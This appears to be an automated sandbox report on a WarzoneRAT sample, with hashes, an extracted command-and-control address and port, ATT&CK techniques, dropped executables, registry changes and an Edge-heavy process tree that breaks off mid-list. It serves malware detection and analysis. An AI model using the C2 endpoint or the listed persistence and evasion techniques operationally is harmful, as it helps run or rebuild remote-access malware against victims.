warzonerat | b4f5de44a5baff70cc3554c1963e2126d68b80fe703833b1a84629d1b003670e

Analysis

max time kernel
614s
max time network
608s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
28-01-2025 00:55

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bf2897f4d98b84ca.png
Size

1KB
MD5

0226fff44d4c6525b16a81754ae3e38e
SHA1

4978a0c3b095b7543b4c329b545518dccdc6c9df
SHA256

b4f5de44a5baff70cc3554c1963e2126d68b80fe703833b1a84629d1b003670e
SHA512

fa9ef790307999534e22697d9eb81be3dba64f0c5e244e94943b1c8ecd67934c854bac6d7244a9f11dbb269186970e178050f124e150a4b942f3f61c4a036732

Score

10^/10

warzonerat aspackv2 discovery execution infostealer rat rezer0

Malware Config

Extracted

Family

warzonerat

168.61.222.215:5400

Signatures

WarzoneRat, AveMaria
WarzoneRat is a native RAT developed in C++ with multiple plugins sold as a MaaS.
rat infostealer warzonerat
Warzonerat family
warzonerat

ReZer0 packer 1 IoCs

Detects ReZer0, a packer with multiple versions used in various campaigns.

rezer0

resource	yara_rule
behavioral2/memory/4432-1400-0x0000000006160000-0x0000000006188000-memory.dmp	rezer0

Warzone RAT payload 2 IoCs

rat

resource	yara_rule
behavioral2/memory/892-1407-0x0000000000400000-0x0000000000553000-memory.dmp	warzonerat
behavioral2/memory/892-1409-0x0000000000400000-0x0000000000553000-memory.dmp	warzonerat

Blocklisted process makes network request 2 IoCs

flow	pid	Process
112	5588	powershell.exe
114	5588	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
5588	powershell.exe

Downloads MZ/PE file 5 IoCs

flow	pid	Process
109	1952	msedge.exe
109	1952	msedge.exe
109	1952	msedge.exe
109	1952	msedge.exe
109	1952	msedge.exe

ASPack v2.12-2.42 1 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral2/files/0x000700000001e5b7-1652.dat	aspack_v212_v242

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	WarzoneRAT.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	WarzoneRAT.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	WarzoneRAT.exe

Executes dropped EXE 7 IoCs

pid	Process
5868	robux.exe
4432	WarzoneRAT.exe
4412	WarzoneRAT.exe
1996	WarzoneRAT.exe
3352	CookieClickerHack.exe
5332	Popup.exe
5624	Melting.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
108	raw.githubusercontent.com
109	raw.githubusercontent.com

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 4432 set thread context of 892	4432	WarzoneRAT.exe	189
PID 4412 set thread context of 2952	4412	WarzoneRAT.exe	193
PID 1996 set thread context of 880	1996	WarzoneRAT.exe	199

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	mspaint.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 11 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Popup.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WarzoneRAT.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WarzoneRAT.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WarzoneRAT.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	robux.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe

Delays execution with timeout.exe 2 IoCs

defense_evasion

pid	Process
5360	timeout.exe
5720	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe

Modifies registry class 33 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0 = 14001f50e04fd020ea3a6910a2d808002b30309d0000	Popup.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	Popup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlgLegacy\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByDirection = "4294967295"	Popup.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1	Popup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Pictures"	Popup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlgLegacy\{885A186E-A440-4ADA-812B-DB871B942259}\Mode = "4"	Popup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlgLegacy\{885A186E-A440-4ADA-812B-DB871B942259}\LogicalViewMode = "1"	Popup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlgLegacy\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1"	Popup.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0	Popup.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0 = 14002e8005398e082303024b98265d99428e115f0000	Popup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\KnownFolderDerivedFolderType = "{885A186E-A440-4ADA-812B-DB871B942259}"	Popup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell\SniffedFolderType = "Downloads"	Popup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlgLegacy\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1092616257"	Popup.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0	Popup.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\Shell	Popup.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlgLegacy\{885A186E-A440-4ADA-812B-DB871B942259}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0e000000ffffffff	Popup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlgLegacy\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:PID = "14"	Popup.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	Popup.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	Popup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\NodeSlot = "1"	Popup.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlgLegacy\{885A186E-A440-4ADA-812B-DB871B942259}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	Popup.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlgLegacy\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:FMTID = "{B725F130-47EF-101A-A5F1-02608C9EEBAC}"	Popup.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings	Popup.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	Popup.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\0\MRUListEx = ffffffff	Popup.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlgLegacy	Popup.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	Popup.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 00000000ffffffff	Popup.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\MRUListEx = 00000000ffffffff	Popup.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02	Popup.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlgLegacy\{885A186E-A440-4ADA-812B-DB871B942259}	Popup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlgLegacy\{885A186E-A440-4ADA-812B-DB871B942259}\IconSize = "16"	Popup.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\1\ComDlgLegacy\{885A186E-A440-4ADA-812B-DB871B942259}\GroupView = "4294967295"	Popup.exe

NTFS ADS 6 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 182847.crdownload:SmartScreen	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 602394.crdownload:SmartScreen	msedge.exe
File created	C:\Users\Admin\AppData\Roaming\jFvfxe.exe\:SmartScreen:$DATA	WarzoneRAT.exe
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 975856.crdownload:SmartScreen	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 219878.crdownload:SmartScreen	msedge.exe
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 359657.crdownload:SmartScreen	msedge.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4972	schtasks.exe
5744	schtasks.exe
3248	schtasks.exe

Suspicious behavior: EnumeratesProcesses 39 IoCs

pid	Process
396	mspaint.exe
396	mspaint.exe
1952	msedge.exe
1952	msedge.exe
3828	msedge.exe
3828	msedge.exe
5096	identity_helper.exe
5096	identity_helper.exe
4448	msedge.exe
4448	msedge.exe
5588	powershell.exe
5588	powershell.exe
5588	powershell.exe
1572	msedge.exe
1572	msedge.exe
1572	msedge.exe
1572	msedge.exe
5592	msedge.exe
5592	msedge.exe
4432	WarzoneRAT.exe
4432	WarzoneRAT.exe
4432	WarzoneRAT.exe
4432	WarzoneRAT.exe
4432	WarzoneRAT.exe
4432	WarzoneRAT.exe
4412	WarzoneRAT.exe
4412	WarzoneRAT.exe
4412	WarzoneRAT.exe
4412	WarzoneRAT.exe
1996	WarzoneRAT.exe
1996	WarzoneRAT.exe
1996	WarzoneRAT.exe
1996	WarzoneRAT.exe
5256	msedge.exe
5256	msedge.exe
5724	msedge.exe
5724	msedge.exe
1704	msedge.exe
1704	msedge.exe

Suspicious behavior: LoadsDriver 10 IoCs

pid	Process
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
668	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found
4	Process not Found

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 35 IoCs

pid	Process
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeManageVolumePrivilege	3116	svchost.exe
Token: SeDebugPrivilege	5588	powershell.exe
Token: SeDebugPrivilege	4432	WarzoneRAT.exe
Token: SeDebugPrivilege	4412	WarzoneRAT.exe
Token: SeDebugPrivilege	1996	WarzoneRAT.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe

Suspicious use of SendNotifyMessage 34 IoCs

pid	Process
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe
3828	msedge.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
396	mspaint.exe
396	mspaint.exe
396	mspaint.exe
396	mspaint.exe
5332	Popup.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3828 wrote to memory of 3688	3828	msedge.exe	102
PID 3828 wrote to memory of 3688	3828	msedge.exe	102
PID 3828 wrote to memory of 948	3828	msedge.exe	103
PID 3828 wrote to memory of 948	3828	msedge.exe	103
PID 3828 wrote to memory of 948	3828	msedge.exe	103
PID 3828 wrote to memory of 948	3828	msedge.exe	103
PID 3828 wrote to memory of 948	3828	msedge.exe	103
PID 3828 wrote to memory of 948	3828	msedge.exe	103
PID 3828 wrote to memory of 948	3828	msedge.exe	103
PID 3828 wrote to memory of 948	3828	msedge.exe	103
PID 3828 wrote to memory of 948	3828	msedge.exe	103
PID 3828 wrote to memory of 948	3828	msedge.exe	103
PID 3828 wrote to memory of 948	3828	msedge.exe	103
PID 3828 wrote to memory of 948	3828	msedge.exe	103
PID 3828 wrote to memory of 948	3828	msedge.exe	103
PID 3828 wrote to memory of 948	3828	msedge.exe	103
PID 3828 wrote to memory of 948	3828	msedge.exe	103
PID 3828 wrote to memory of 948	3828	msedge.exe	103
PID 3828 wrote to memory of 948	3828	msedge.exe	103
PID 3828 wrote to memory of 948	3828	msedge.exe	103
PID 3828 wrote to memory of 948	3828	msedge.exe	103
PID 3828 wrote to memory of 948	3828	msedge.exe	103
PID 3828 wrote to memory of 948	3828	msedge.exe	103
PID 3828 wrote to memory of 948	3828	msedge.exe	103
PID 3828 wrote to memory of 948	3828	msedge.exe	103
PID 3828 wrote to memory of 948	3828	msedge.exe	103
PID 3828 wrote to memory of 948	3828	msedge.exe	103
PID 3828 wrote to memory of 948	3828	msedge.exe	103
PID 3828 wrote to memory of 948	3828	msedge.exe	103
PID 3828 wrote to memory of 948	3828	msedge.exe	103
PID 3828 wrote to memory of 948	3828	msedge.exe	103
PID 3828 wrote to memory of 948	3828	msedge.exe	103
PID 3828 wrote to memory of 948	3828	msedge.exe	103
PID 3828 wrote to memory of 948	3828	msedge.exe	103
PID 3828 wrote to memory of 948	3828	msedge.exe	103
PID 3828 wrote to memory of 948	3828	msedge.exe	103
PID 3828 wrote to memory of 948	3828	msedge.exe	103
PID 3828 wrote to memory of 948	3828	msedge.exe	103
PID 3828 wrote to memory of 948	3828	msedge.exe	103
PID 3828 wrote to memory of 948	3828	msedge.exe	103
PID 3828 wrote to memory of 948	3828	msedge.exe	103
PID 3828 wrote to memory of 948	3828	msedge.exe	103
PID 3828 wrote to memory of 1952	3828	msedge.exe	104
PID 3828 wrote to memory of 1952	3828	msedge.exe	104
PID 3828 wrote to memory of 720	3828	msedge.exe	105
PID 3828 wrote to memory of 720	3828	msedge.exe	105
PID 3828 wrote to memory of 720	3828	msedge.exe	105
PID 3828 wrote to memory of 720	3828	msedge.exe	105
PID 3828 wrote to memory of 720	3828	msedge.exe	105
PID 3828 wrote to memory of 720	3828	msedge.exe	105
PID 3828 wrote to memory of 720	3828	msedge.exe	105
PID 3828 wrote to memory of 720	3828	msedge.exe	105
PID 3828 wrote to memory of 720	3828	msedge.exe	105
PID 3828 wrote to memory of 720	3828	msedge.exe	105
PID 3828 wrote to memory of 720	3828	msedge.exe	105
PID 3828 wrote to memory of 720	3828	msedge.exe	105
PID 3828 wrote to memory of 720	3828	msedge.exe	105
PID 3828 wrote to memory of 720	3828	msedge.exe	105
PID 3828 wrote to memory of 720	3828	msedge.exe	105
PID 3828 wrote to memory of 720	3828	msedge.exe	105
PID 3828 wrote to memory of 720	3828	msedge.exe	105
PID 3828 wrote to memory of 720	3828	msedge.exe	105
PID 3828 wrote to memory of 720	3828	msedge.exe	105
PID 3828 wrote to memory of 720	3828	msedge.exe	105

C:\Windows\system32\mspaint.exe
"C:\Windows\system32\mspaint.exe" "C:\Users\Admin\AppData\Local\Temp\bf2897f4d98b84ca.png"
1⤵
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:396

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService
1⤵
PID:3636

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
1⤵
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3828
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffaf34b46f8,0x7ffaf34b4708,0x7ffaf34b4718
  2⤵
  PID:3688
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2188 /prefetch:2
  2⤵
  PID:948
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2220 /prefetch:3
  2⤵
  - Downloads MZ/PE file
  - Suspicious behavior: EnumeratesProcesses
  PID:1952
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2688 /prefetch:8
  2⤵
  PID:720
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3336 /prefetch:1
  2⤵
  PID:4888
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3312 /prefetch:1
  2⤵
  PID:4356
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4072 /prefetch:1
  2⤵
  PID:3880
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4508 /prefetch:1
  2⤵
  PID:1628
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3660 /prefetch:8
  2⤵
  PID:1980
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3660 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5096
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5600 /prefetch:1
  2⤵
  PID:3548
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5160 /prefetch:1
  2⤵
  PID:1052
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2172,17182439053861502545,16384588420392669895,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3556 /prefetch:1
  2⤵
  PID:1980
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
